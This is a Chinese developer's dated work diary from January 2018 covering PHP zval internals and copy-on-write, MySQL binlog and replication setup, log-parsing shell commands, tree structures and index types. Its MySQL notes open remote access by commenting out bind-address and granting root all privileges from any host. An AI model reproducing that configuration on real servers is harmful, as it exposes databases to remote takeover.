变量的值存储在zvalue_value联合体中
typedef union _zvalue_value zvalue_value
结构体和共用体的区别在于:结构体的各个成员会占用不同的内存,互相之间没有影响;而共用体的所有成员占用同一段内存,修改一个成员会影响其余所有成员。共用体使用了内存覆盖技术,共用体占用的内存等于最长的成员占用的内存.
数组的值存储在zvalue_value.ht字段中,它是一个HashTable类型的数据。
哈希表通常提供查找(Search),插入(Insert),删除(Delete)等操作
ICO (ICO是一种区块链行业术语)
IPO:首次公开募股
=========================================================================
2018年1月11日 记录:
系统时间的几个概念 GMT,UTC,DST,CST
UTC=GMT
CET=UTC/GMT + 1小时
CST=UTC/GMT +8 小时
CST的全称有表示为 Central Standard Time 的,也有表示为 China Standard Time
gmdate("D, d M Y H:i:s", time())." GMT")//http头里面GMT的时间
gmdate("Y-m-d\TH:i:s\Z");//UTC的时间
写时复制:
PHP存储变量的结构体,结构体名_zval_struct,结构体成员:
struct _zval_struct{
zvalue_value value;//变量值
zend_uint refcount__gc;//指向该结构体的变量数
zend_uchar type;//变量类型
zend_uchar is_ref__gc;//是否为引用变量,0否,1是
}
$myName = $name;这个过程中并没有主动变成两个结构体(这也算PHP内部实现优化的一种,只用一个结构体,省了内存)。
$myName改成’gzchen’,而是复制多了一份结构体出来,两个结构体分别对应着$name和$myName。这个就是写时复制(Copy-on-write,COW)在作怪,他没有在$myName = $name;赋值的时候就分裂成两个结构体,而是在我们改写其中一个变量时发生效果,属于一种慢复制(也称慢分裂)
unsigned int是非负整数
unsigned char 8个bit
=========================================================================
2018年1月10日 记录:
$memLimit=str_replace('M','',ini_get("memory_limit"))*1024*1024;
$memUsage= memory_get_usage()*2;
if($memUsage<$memLimit){
return;
}
if($memUsage<1024*1024*1000){
ini_set("memory_limit",$memUsage);
Sina_Mail_Log::error("increase memory {$memUsage}","EXTEND_MEMORY");
}
php的写时复制(Copy-on-Write,也缩写为COW):
PHP中将一个变量赋值给新变量时,不会立即为新变量分配内存空间,只是增加了对内存空间的引用。当原变量或者新变量作出任何改变时,才会为新变量 分配一块内存空间
var_dump(memory_get_usage());//int(120784)
$a=10;
var_dump(memory_get_usage());//int(120864),增加80
$b=$a;
var_dump(memory_get_usage());//int(120912),增加48
echo $b;
var_dump(memory_get_usage());//int(120912),不变
$b=10;
var_dump(memory_get_usage());//int(120944),比120864增加80
=========================================================================
2018年1月9日 记录:
企邮微盾和微博部分兼容https
86万 30年还清,利息87万
等额本息还款(每月固定),等额本金还款(每月递减)
房贷有三种贷款买房方式,商业贷款,公积金贷款,公积金+商业贷款组合贷款
Remix是指一首曲子的重新编曲混音版或一张重新编曲混音专辑。Verse主歌 Chorus副歌 Bridge桥接 ,flow:从哪开始,在哪结束,中间怎么转。
=========================================================================
2018年1月8日 记录:
ubuntu开启mysql5.7的bin-log:
1.[ERROR] You have enabled the binary log, but you haven't provided the mandatory server-id.
/etc/mysql/mysql.conf.d/mysqld.cnf
server-id = 1
log_bin = /var/log/mysql/mysql-bin.log
2.配置主从复制
主:SHOW MASTER STATUS 查看二进制文件名和位置
show slave status\G; 里面Slave_IO_Running: Connecting,Slave_SQL_Running: Yes
主主复制:
change master to master_host='115.159.28.111',master_user='root',master_password='xx',master_log_file='mysql-bin.000006',master_log_pos=154;
拉取原来的sql文件:rsync -avzP taoshihan@123.206.7.231::xykmovie/pan.sql .
ubuntu mysql 3306允许远程访问
vim /etc/mysql/mysql.conf.d/mysqld.cnf
注释#bind-address = 127.0.0.1
允许远程访问:
grant all privileges on *.* to root@"%" identified by "pwd" with grant option;
flush privileges;
=========================================================================
2018年1月5日 记录:
2017年绩效KPI
=========================================================================
2018年1月4日 记录:
uniq和sort -u都能去重:
uniq是去掉连续重复行
统计上上周企邮客户端登陆的用户有1044个,邮箱列表见附件
上线企邮webmail兼容https的前端版本号
对数公式
a^x=N(a>0,且a≠1),则x叫做以a为底N的对数,记做x=log a (N)
大O符号表示算法复杂度
O(1) 常数复杂度
O(n) 线性复杂度
O(n^2)平方复杂度
O(log n)对数复杂度,以2为底n的对数
B树:平衡多叉查找树,这种数据结构一般用在数据库和文件系统上,B-tree就是指的B树
磁盘:是一个扁平的圆盘(与电唱机的唱片类似)。盘面上有许多称为磁道的圆圈,数据就记录在这些磁道上。
树的高度:从结点x向下到某个叶结点最长边的条数
树的深度:从根节点往下数
=========================================================================
2018年1月3日 记录:
树:具有n个节点的有限集
节点的度:一个节点拥有的子节点数量即成为节点的度
叶节点:没有子节点的节点
节点关系:孩子节点,双亲节点,兄弟节点,三角关系
表示法:双亲表示法[下标,data,parent]查找双亲方便,查找孩子麻烦
孩子表示法[下标,data,firstchild,child,next]
双亲孩子表示法[下标,data,parent,firstchild,child,next]
孩子兄弟表示法[data,child,brother]
统计上上周企业客户端登陆的用户,12月18号到12月24号
find ./ -type f -name *webmail.log.0.gz|xargs zcat |grep "app,code=2000"|sed 's/^.*json\_\(.*\)____.*$/\1/'|sort -u|tail
cat /var/log/sinamail/webmail/webmail.log|grep "app,code=2000"|sed 's/^.*json\_\(.*\)____.*$/\1/'|uniq
=========================================================================
2018年1月2日 记录:
浮点数计算问题:
BC系列函数解决http://php.net/manual/zh/ref.bc.php
mysql中的索引类型(index/key):
普通索引:默认的
主键索引:自增字段一定是,唯一性约束;主键不一定自增
唯一索引:提供唯一性约束,可以有多个唯一索引
全文索引:不支持中文全文检索,一般用第三方,coreseek/xunsearch
外键索引:只有InnoDB支持,效率不高不推荐,只使用外键思想保证数据一致性和完整性
来源地址:https://blog.csdn.net/taoshihan/article/details/127961333
免责声明:
① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。
② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341